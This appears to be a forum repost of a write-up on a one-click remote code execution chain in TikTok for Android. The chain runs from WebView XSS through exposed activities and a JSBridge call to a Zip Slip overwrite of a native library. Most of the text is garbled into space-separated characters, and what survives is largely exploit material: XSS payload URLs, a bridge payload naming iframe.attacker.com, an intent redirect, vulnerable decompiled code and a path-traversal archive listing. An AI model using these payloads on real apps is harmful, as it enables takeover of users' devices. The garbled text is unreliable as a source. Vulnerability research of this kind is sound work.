[16575] 2021-03-20_安卓版TikTok被曝一键式RCE

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2021-03-20_安卓版TikTok被曝一键式RCE T i k T o k R C E   F r e e B u f   2 0 2 1 - 0 3 - 2 0 T i k T o k T i k T o k   W e b V i e w X S S A d d   W i k i   A c t i v i t y X S S T m a   T e s t   A c t i v i t y Z i p   S l i p R C E T i k T o k   W e b V i e w X S S T i k T o k 使 w e b v i e w W e b V i e w 西 使 U R L X S S P a y l o a d F r i d a a n d r o i d . w e b k i t . W e b V i e w . e v a l u a t e J a v a s c r i p t   # h t t p s : / / m . t i k t o k . c o m / f a l c o n / # ) , a l e r t ( 1 ) ) ; / /   W e b V i e w X S S A d d   W i k i   A c t i v i t y X S S A d d   W i k i   A c t i v i t y U R L U R L h t t p h t t p s 便 j a v a s c r i p t 使 W e b V i e w X S S A d d   W i k i   A c t i v i t y   W e b V i e w i n t e n t   s c h e m e A d d   W i k i   A c t i v i t y U s e r   F a v o r i t e s   A c t i v i t y t h i s . a . e v a l u a t e J a v a s c r i p t   J S O N . s t r i n g i f y w i n d o w . p e r f o r m a n c e . g e t E n t r i e s B y N a m e '   +   t h i s . w e b v i e w U R L   +   ' v 2 ; ; J S O N . s t r i n g i f y w i n d o w . p e r f o r m a n c e . g e t E n t r i e s B y N a m e ' h t t p s : / / m . t i k t o k . c o m / f a l c o n / ? % 2 7 2 C a l e r t 1 3 B 2 F 2 F ' J S O N . s t r i n g i f y ( w i n d o w . p e r f o r m a n c e . g e t E n t r i e s B y N a m e ( ' h t t p s : / / m . t i k t o k . c o m / f a l c o n / # ' ) , a l e r t ( 1 ) ) ; / / ' ) ) i f ( ! e . b ( a r g 8 ) )   {         c o m . b y t e d a n c e . t . c . e . b . a ( " A b s S e c S t r a t e g y " ,   " n e e d B u i l d S e c L i n k   :   u r l   i s   i n v a l i d . " ) ;         r e t u r n   f a l s e ; } p u b l i c   s t a t i c   b o o l e a n   b ( S t r i n g   a r g 1 )   {         r e t u r n   ! T e x t U t i l s . i s E m p t y ( a r g 1 )   & &   ( ( a r g 1 . s t a r t s W i t h ( " h t t p " ) )   | |   ( a r g 1 . s t a r t s W i t h ( " h t t p s " ) ) )   & &   ! e . a ( a r g 1 ) ; } w i n d o w . T o u t i a o J S B r i d g e . i n v o k e M e t h o d ( J S O N . s t r i n g i f y ( { " _ _ c a l l b a c k _ i d " :   " 0 " , " f u n c " :   " o p e n S c h e m a " , " _ _ m s g _ t y p e " :   " c a l l b a c k " , " p a r a m s " :   { " s c h e m a " :   " a w e m e : / / w i k i ? u r l = j a v a s c r i p t : / / m . t i k t o k . c o m / % 2 5 0 a d o c u m e n t . w r i t e ( % 2 2 % 3 C h 1 % 3 E P o C % 3 C % 2 F h 1 % 3 E % 2 2 ) & d i s a b l e _ a p p _ l i n k = f a l s e " } , " J S S D K " :   " 1 " , " n a m e s p a c e " :   " h o s t " , " _ _ i f r a m e _ u r l " :   " h t t p : / / i f r a m e . a t t a c k e r . c o m / " } ) ) ; l o c a t i o n . r e p l a c e ( " i n t e n t : # I n t e n t ; c o m p o n e n t = c o m . z h i l i a o a p p . m u s i c a l l y / c o m . s s . a n d r o i d . u g c . a w e m e . f a v o r i t e s . u i . U s e r F a v o r i t e s A c t i v i t y ; p a c k a g e = c o m . z h i l i a o a p p . m u s i c a l l y ; a c t i o n = a n d r o i d . i n t e n t . a c t i o n . V I E W ; e n d ; "
T m a   T e s t   A c t i v i t y Z i p   S l i p s p l i t _ d f _ m i n i a p p . a p k T m a   T e s t   A c t i v i t y T m a   T e s t   A c t i v i t y S D K s d k U p d a t e S D K   B a s e   B u n d l e   H a n d l e r R e s o l v e   D o w n l o a d   H a n d l e r P r o c e s s   B u n d l e   V e r s i o n   H a n d l e r B a s e   B u n d l e   H a n d l e r s d k   U p d a t e   V e r s i o n 9 9 . 9 9 . 9 9 v 2 . a A p p b r a n d C o n t e x t R e s o l v e D o w n l o a d H a n d l e r U r i   v 5   =   U r i . p a r s e ( U r i . d e c o d e ( a r g 5 . t o S t r i n g ( ) ) ) ; S t r i n g   v 0   =   v 5 . g e t Q u e r y P a r a m e t e r ( " a c t i o n " ) ; i f ( m . a ( v 0 ,   " s d k U p d a t e " ) )   { m . a ( v 5 ,   " t e s t U r i " ) ; t h i s . u p d a t e J s s d k ( a r g 4 ,   v 5 ,   a r g 6 ) ; r e t u r n ; } p r i v a t e   f i n a l   v o i d   u p d a t e J s s d k ( C o n t e x t   a r g 5 ,   U r i   a r g 6 ,   T m a T e s t C a l l b a c k   a r g 7 )   { S t r i n g   v 0   =   a r g 6 . g e t Q u e r y P a r a m e t e r ( " s d k U p d a t e V e r s i o n " ) ; S t r i n g   v 1   =   a r g 6 . g e t Q u e r y P a r a m e t e r ( " s d k V e r s i o n " ) ; S t r i n g   v 6   =   a r g 6 . g e t Q u e r y P a r a m e t e r ( " l a t e s t S D K U r l " ) ; S h a r e d P r e f e r e n c e s . E d i t o r   v 2   =   B a s e B u n d l e D A O . g e t J s S d k S P ( a r g 5 ) . e d i t ( ) ; v 2 . p u t S t r i n g ( " s d k _ u p d a t e _ v e r s i o n " ,   v 0 ) . a p p l y ( ) ; v 2 . p u t S t r i n g ( " s d k _ v e r s i o n " ,   v 1 ) . a p p l y ( ) ; v 2 . p u t S t r i n g ( " l a t e s t _ s d k _ u r l " ,   v 6 ) . a p p l y ( ) ; D o w n l o a d B a s e B u n d l e H a n d l e r   v 6 _ 1   =   n e w   D o w n l o a d B a s e B u n d l e H a n d l e r ( ) ; B u n d l e H a n d l e r P a r a m   v 0 _ 1   =   n e w   B u n d l e H a n d l e r P a r a m ( ) ; v 6 _ 1 . s e t I n i t i a l P a r a m ( a r g 5 ,   v 0 _ 1 ) ; R e s o l v e D o w n l o a d H a n d l e r   v 5   =   n e w   R e s o l v e D o w n l o a d H a n d l e r ( ) ; v 6 _ 1 . s e t N e x t H a n d l e r ( ( ( B a s e B u n d l e H a n d l e r ) v 5 ) ) ; S e t C u r r e n t P r o c e s s B u n d l e V e r s i o n H a n d l e r   v 6 _ 2   =   n e w   S e t C u r r e n t P r o c e s s B u n d l e V e r s i o n H a n d l e r ( ) ; v 5 . s e t N e x t H a n d l e r ( ( ( B a s e B u n d l e H a n d l e r ) v 6 _ 2 ) ) ; } p u b l i c   B u n d l e H a n d l e r P a r a m   h a n d l e ( C o n t e x t   a r g 1 4 ,   B u n d l e H a n d l e r P a r a m   a r g 1 5 )   { . . . . . S t r i n g   v 0   =   B a s e B u n d l e M a n a g e r . g e t I n s t ( ) . g e t S d k C u r r e n t V e r s i o n S t r ( a r g 1 4 ) ; S t r i n g   v 8   =   B a s e B u n d l e D A O . g e t J s S d k S P ( a r g 1 4 ) . g e t S t r i n g ( " s d k _ u p d a t e _ v e r s i o n " ,   " " ) ; . . . . . i f ( A p p b r a n d U t i l . c o n v e r t V e r s i o n S t r T o C o d e ( v 0 )   > =   A p p b r a n d U t i l . c o n v e r t V e r s i o n S t r T o C o d e ( v 8 )   & &   ( B a s e B u n d l e M a n a g e r . g e t I n s t ( ) . i s R e a l B a s e B u n d l e R e a d y N o w ( ) ) )   { I n n e r E v e n t H e l p e r . m p L i b R e s u l t ( " m p _ l i b _ v a l i d a t i o n _ r e s u l t " ,   v 0 ,   v 8 ,   " n o _ u p d a t e " ,   " " ,   - 1 L ) ; v 1 0 . a p p e n d L o g ( " n o   n e e d   u p d a t e   r e m o t e   b a s e b u n d l e   v e r s i o n " ) ; a r g 1 5 . i s I g n o r e T a s k   =   t r u e ; r e t u r n   a r g 1 5 ; } . . . . . t h i s . s t a r t D o w n l o a d ( v 9 ,   v 1 0 ,   a r g 1 5 ,   v 0 ,   v 8 ) ; . . . . . v 2 . a   =   S t o r a g e U t i l . g e t E x t e r n a l C a c h e D i r A p p b r a n d C o n t e x t . g e t I n s t g e t A p p l i c a t i o n C o n t e x t g e t P a t h ;   v 2 . b   =   t h i s . g e t M d 5 F r o m U r l a r g 1 6 ; p u b l i c   B u n d l e H a n d l e r P a r a m   h a n d l e ( C o n t e x t   a r g 1 3 ,   B u n d l e H a n d l e r P a r a m   a r g 1 4 )   {         B a s e B u n d l e E v e n t   v 0   =   a r g 1 4 . b a s e B u n d l e E v e n t ;         i f ( ( a r g 1 4 . i s L a s t T a s k S u c c e s s )   & &   a r g 1 4 . t a r g e t Z i p F i l e   ! =   n u l l   & &   ( a r g 1 4 . t a r g e t Z i p F i l e . e x i s t s ( ) ) )   {                 a r g 1 4 . b u n d l e V e r s i o n   =   B a s e B u n d l e F i l e M a n a g e r . u n Z i p F i l e T o B u n d l e ( a r g 1 3 ,   a r g 1 4 . t a r g e t Z i p F i l e ,   " d o w n l o a d _ b u n d l e " ,   f a l s e ,   v 0 ) ; p u b l i c   s t a t i c   l o n g   u n Z i p F i l e T o B u n d l e ( C o n t e x t   a r g 8 ,   F i l e   a r g 9 ,   S t r i n g   a r g 1 0 ,           l o n g   v 1 0 ;         b o o l e a n   v 4 ;         C l a s s   v 0   =   B a s e B u n d l e F i l e M a n a g e r . c l a s s ;         s y n c h r o n i z e d ( v 0 )   {                 b o o l e a n   v 1   =   a r g 9 . e x i s t s ( ) ;         }         i f ( ! v 1 )   {                 r e t u r n   0 L ;         }         t r y   {                 F i l e   v 1 _ 1   =   B a s e B u n d l e F i l e M a n a g e r . g e t B u n d l e F o l d e r F i l e ( a r g 8 ,   a r g 1 0 ) ;                 a r g 1 2 . a p p e n d L o g ( " s t a r t   u n z i p "   +   a r g 1 0 ) ;                 B a s e B u n d l e F i l e M a n a g e r . t r y U n z i p B a s e B u n d l e ( a r g 1 2 ,   a r g 1 0 ,   v 1 _ 1 . g e t A b s o l u t e P a t h ( ) ,   a r g 9 ) ; p r i v a t e   s t a t i c   v o i d   t r y U n z i p B a s e B u n d l e ( B a s e B u n d l e E v e n t   a r g 2 ,   S t r i n g   a r g 3 ,   S t r i n g   a r g 4 ,   F i l e   a r g 5 )         t r y   {                 a r g 2 . a p p e n d L o g ( " u n z i p "   +   a r g 3 ) ;                 I O U t i l s . u n Z i p F o l d e r ( a r g 5 . g e t A b s o l u t e P a t h ( ) ,   a r g 4 ) ;         }         . . . . . . } p u b l i c   s t a t i c   v o i d   u n Z i p F o l d e r ( S t r i n g   a r g 1 ,   S t r i n g   a r g 2 )   t h r o w s   E x c e p t i o n   {         I O U t i l s . a ( n e w   F i l e I n p u t S t r e a m ( a r g 1 ) ,   a r g 2 ,   f a l s e ) ; } p r i v a t e   s t a t i c   v o i d   a ( I n p u t S t r e a m   a r g 5 ,   S t r i n g   a r g 6 ,   b o o l e a n   a r g 7 )   t h r o w s   E x c e p t i o n   {         Z i p I n p u t S t r e a m   v 0   =   n e w   Z i p I n p u t S t r e a m ( a r g 5 ) ;
a r g 7 f a l s e 使 Z I P   S l i p R C E z i p n a t i v e - l i b r a r i e s A p p l i c a t i o n R C E P o C T i k T o k T i k T o k X S S T m a T e s t A c t i v i t y A d d W i k i A c t i v i t y M a i n   W e b V i e w A c t i v i t y T i k T o k         Z i p I n p u t S t r e a m   v 0   =   n e w   Z i p I n p u t S t r e a m ( a r g 5 ) ;         w h i l e ( t r u e )   {         l a b e l _ 2 :                 Z i p E n t r y   v 5   =   v 0 . g e t N e x t E n t r y ( ) ;                 i f ( v 5   = =   n u l l )   {                         b r e a k ;                 }                 S t r i n g   v 1   =   v 5 . g e t N a m e ( ) ;                 i f ( ( a r g 7 )   & &   ! T e x t U t i l s . i s E m p t y ( v 1 )   & &   ( v 1 . c o n t a i n s ( " . . / " ) ) )   {   / /   A r e   y o u   n o t i c e   a r g 7 ?                         g o t o   l a b e l _ 2 ;                 }                 i f ( v 5 . i s D i r e c t o r y ( ) )   {                         n e w   F i l e ( a r g 6   +   F i l e . s e p a r a t o r   +   v 1 . s u b s t r i n g ( 0 ,   v 1 . l e n g t h ( )   -   1 ) ) . m k d i r s ( ) ;                         g o t o   l a b e l _ 2 ;                 }                 F i l e   v 5 _ 1   =   n e w   F i l e ( a r g 6   +   F i l e . s e p a r a t o r   +   v 1 ) ;                 i f ( ! v 5 _ 1 . g e t P a r e n t F i l e ( ) . e x i s t s ( ) )   {                         v 5 _ 1 . g e t P a r e n t F i l e ( ) . m k d i r s ( ) ;                 }                 v 5 _ 1 . c r e a t e N e w F i l e ( ) ;                 F i l e O u t p u t S t r e a m   v 1 _ 1   =   n e w   F i l e O u t p u t S t r e a m ( v 5 _ 1 ) ;                 b y t e [ ]   v 5 _ 2   =   n e w   b y t e [ 0 x 4 0 0 ] ;                 w h i l e ( t r u e )   {                         i n t   v 3   =   v 0 . r e a d ( v 5 _ 2 ) ;                         i f ( v 3   = =   - 1 )   {                                 b r e a k ;                         }                         v 1 _ 1 . w r i t e ( v 5 _ 2 ,   0 ,   v 3 ) ;                         v 1 _ 1 . f l u s h ( ) ;                 }                 v 1 _ 1 . c l o s e ( ) ;         }         v 0 . c l o s e ( ) ; } / d a t a / d a t a / c o m . z h i l i a o a p p . m u s i c a l l y / a p p _ l i b / d f _ r n _ k i t / d f _ r n _ k i t _ a 3 e 3 7 c 2 0 9 0 0 a 2 2 b c 8 8 3 6 a 5 1 6 7 8 e 4 5 8 f 7 / a r m 6 4 - v 8 a / l i b j s c . s o d p h o e n i i x x @ M a c B o o k - P r o   T i k t o k   %   7 z   l   l i b r a n _ a 1 e f 0 1 b 0 9 a 3 d 9 4 0 0 b 7 7 1 4 4 b b f 9 a d 5 9 b 1 . z i p 7 - Z i p   [ 6 4 ]   1 6 . 0 2   :   C o p y r i g h t   ( c )   1 9 9 9 - 2 0 1 6   I g o r   P a v l o v   :   2 0 1 6 - 0 5 - 2 1 p 7 z i p   V e r s i o n   1 6 . 0 2   ( l o c a l e = u t f 8 , U t f 1 6 = o n , H u g e F i l e s = o n , 6 4   b i t s , 1 6   C P U s   x 6 4 ) S c a n n i n g   t h e   d r i v e   f o r   a r c h i v e s : 1   f i l e ,   1 9 3 0   b y t e s   ( 2   K i B ) L i s t i n g   a r c h i v e :   l i b r a n _ a 1 e f 0 1 b 0 9 a 3 d 9 4 0 0 b 7 7 1 4 4 b b f 9 a d 5 9 b 1 . z i p - - P a t h   =   l i b r a n _ a 1 e f 0 1 b 0 9 a 3 d 9 4 0 0 b 7 7 1 4 4 b b f 9 a d 5 9 b 1 . z i p T y p e   =   z i p P h y s i c a l   S i z e   =   1 9 3 0 D a t e   T i m e   A t t r   S i z e   C o m p r e s s e d   N a m e - - - - - - - - - - - - - - - - - - -   - - - - -   - - - - - - - - - - - -   - - - - - - - - - - - -   - - - - - - - - - - - - - - - - - - - - - - - - 2 0 2 0 - 1 1 - 2 6   0 4 : 0 8 : 2 9   . . . . .   5 8 9 6   1 4 9 6   . . / . . / . . / . . / . . / . . / . . / . . / . . / d a t a / d a t a / c o m . z h i l i a o a p p . m u s i c a l l y / a p p _ l i b / d f _ r n _ k i t / d f _ r n _ k i t _ a 3 e 3 7 c 2 0 9 0 0 a 2 2 b c 8 8 3 6 a 5 1 6 7 8 e 4 5 8 f 7 / a r m 6 4 - v 8 a / l i b j s c . s o - - - - - - - - - - - - - - - - - - -   - - - - -   - - - - - - - - - - - -   - - - - - - - - - - - -   - - - - - - - - - - - - - - - - - - - - - - - - 2 0 2 0 - 1 1 - 2 6   0 4 : 0 8 : 2 9   5 8 9 6   1 4 9 6   1   f i l e s

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则